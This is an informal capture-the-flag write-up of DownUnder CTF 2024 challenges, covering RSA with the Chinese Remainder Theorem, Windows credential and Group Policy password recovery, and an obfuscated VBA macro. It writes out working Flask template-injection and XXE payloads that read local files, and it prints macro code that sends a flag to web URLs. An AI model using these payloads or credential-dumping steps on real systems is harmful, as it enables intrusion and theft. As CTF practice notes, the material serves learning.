A summary of my experience participating DownUnder CTF in 2024. It was an enjoyable experience with occasional dopamine hits when I succeed and new things to learn when I failed. This document is more like a compilation of notes than a proper write up. Looking back, I should have included the challenge context in this document.

flag: DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}
The vuln wasn’t on console page (it was inaccessible)
DUCTF provides a resource pack for this challenge which contains the structure of the directory served on the web server. The “flag” is in the same folder ⇒ modify payload template taken from this cheatsheet to read from current directory

{{ request.class._load_form_data.globals.builtins.open("./flag").read() }} ⇒ flag: DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}
flag: DUCTF{EmU_say$_he!!0_h0!a_ci@0}
Web server run on python, flask 2.0.3, werkzaug 2.0.1
Vulnerable code: XMLParser(resolve_entities=True) this allows parsing and extending external entities to this context, exposing sensitive data
XML Entity Expansion in Python

Vulnerability in the text box. This is a test payload to test if the web app processes xml input.
<?xml version="1.0" encoding="UTF-8"?> <root> <feedback>test</feedback> </root>
Payload template to leverage this vulnerability is as follow:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "./flag.txt"> ]> <root> <feedback>&example;</feedback> </root>
The DOCTYPE and ENTITY declaration lines must be outside of root/feedback scope. I edited and resent the authentic request via developer console. This could also be done with Burpsuite but Mozilla edit & resend function works just fine.

172.16.17.135 is the victim machine, 131 is the attacker, 2 is DNS
Flag: DUCTF{Nikto_2.1.6}

Flag: DUCTF{Olivers_Hill_Boat_Ramp}

Flag: DUCTF{btw_y0u_c4n_als0_us3_CRT_f0r_p4rt14l_fr4ct10ns}
he could estimate that between 1000 and 1100 When the soldiers stand 3 in a row, there are 2 soldiers left over. When they line up 5 in a row, there are 4 soldiers left over. When they line up 7 in a row, there are 5 soldiers left over.
The number of soldier is between 1000 and 1100, which mod 3 = 2, mod 5 =4 and mod 7 = 5 ⇒ 1034
This introduced me to Chinese Remainder Theorem and its application in RSA (public) cryptosystem. the next step is to solve the original message using the given clue:
e = 3
c_1 = 105001824161664003599422656864176455171381720653815905925856548632486703162518989165039084097502312226864233302621924809266126953771761669365659646250634187967109683742983039295269237675751525196938138071285014551966913785883051544245059293702943821571213612968127810604163575545004589035344590577094378024637
c_2 = 31631442837619174301627703920800905351561747632091670091370206898569727230073839052473051336225502632628636256671728802750596833679629890303700500900722642779064628589492559614751281751964622696427520120657753178654351971238020964729065716984136077048928869596095134253387969208375978930557763221971977878737
c_3 = 64864977037231624991423831965394304787965838591735479931470076118956460041888044329021534008265748308238833071879576193558419510910272917201870797698253331425756509041685848066195410586013190421426307862029999566951239891512032198024716311786896333047799598891440799810584167402219122283692655717691362258659
n_1 = 147896270072551360195753454363282299426062485174745759351211846489928910241753224819735285744845837638083944350358908785909584262132415921461693027899236186075383010852224067091477810924118719861660629389172820727449033189259975221664580227157731435894163917841980802021068840549853299166437257181072372761693
n_2 = 95979365485314068430194308015982074476106529222534317931594712046922760584774363858267995698339417335986543347292707495833182921439398983540425004105990583813113065124836795470760324876649225576921655233346630422669551713602423987793822459296761403456611062240111812805323779302474406733327110287422659815403
n_3 = 95649308318281674792416471616635514342255502211688462925255401503618542159533496090638947784818456347896833168508179425853277740290242297445486511810651365722908240687732315319340403048931123530435501371881740859335793804194315675972192649001074378934213623075830325229416830786633930007188095897620439987817
Python code to calculate m value:

m = 11564025922867522871782912815123211630478650327759091593792994457296772521676766420142199669845768991886967888274582504750347133
Enter this key to submission form to get the flag.
Flag: DUCTF{!checkerboard1}
resources file contains two file: sam.bak and system.bak. They are database file of Windows system which contain local username and password.

Use impacket-secretdump to get password dump from backup file, the highlighted part is admin password. Bruteforcing the hash to get flag in plaintext. crack-station ftw.

Flag: DUCTF{D0n7_Us3_P4s5w0rds_1n_Gr0up_P0l1cy}
The resource file is a Group Policy pulled from a client machine.
I use tree <folder> command in Linux to quickly browse every files and folders under the target.

There were many GPT.INI, GptTmpl.inf but there was only one Groups.xml that contains a cpassword.

Use gpp-decrypt (python tool) to crack it.

More about this vulnerability:
https://support.microsoft.com/en-au/topic/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevation-of-privilege-may-13-2014-60734e15-af79-26ca-ea53-8cd617073c30
Flag: DUCTF{M4d3_W1th_AI_by_M0nk3ys}
The resource file includes a packet capture and a spreadsheet

Zip file contains a traffic capture and an excel file which doesn’t show any macro with usual inspection method. Upon examining the pcap file, there were strange user-agent (WinHttpRequest). This traffic wasn’t usual, but was generated from console command. consider the challenge’s name is Macro Magic, this definitely macro related.

Hint from organizer: use a more thorough tool to view the macro in Monke.xlsm - Oletool. I got the macro but it was filled with dummy code to obfuscate the real function. The following section hides the flag:
Path = ThisWorkbook.Path & "\flag.xlsx" Set wb = Workbooks.Open(Path) Dim valueA1 As Variant valueA1 = wb.Sheets(1).Range("A1").Value MsgBox valueA1 wb.Close SaveChanges:=False F = "gic" N = importantThing() Q = "Flag: " & valueA1 H = "Try Harder" U = forensics(H) V = totalyFine(U) J = "http://downunderctf.com/" + V superThing (J) W = S + G + D + F O = doThing(Q, W) M = anotherThing(O, W) A = something(O) Z = forensics(O) N = importantThing() P = "Pterodactyl" U = forensics(P) V = totalyFine(U) J = "http://play.duc.tf/" + V superThing (J) T = totalyFine(Z) MsgBox T J = "http://downunderctf.com/" + T superThing (J)
The flag was in A1 (in the spreadsheet) so Q (variable) held the flag. but how to find Q?
⇒ doThing() XOR Q (the flag) and W, returned O. O went in forensics which returned Z. Z then used to create T, then J which are used by superThing().
⇒ The transformed flag lies in the URL to downunderctf. com. It was this one:
http://downunderctf[.]com/11-3-15-12-95-89-9-52-36-61-37-54-34-90-15-86-38-26-80
The ascii string contains un-presentable characters, usual tool to traceback transformation steps weren’t working. The traceback process must be one swift action to avoid copy paste error. The following python code reassembled the flag:


Flag: DUCTF{wIr_G0iNg_b4K_t00_d3r_jUNgL3_mIt_d15_1!!111!}


URL captured from the video

Flag: DUCTF{f1r57_0f_m4ny}

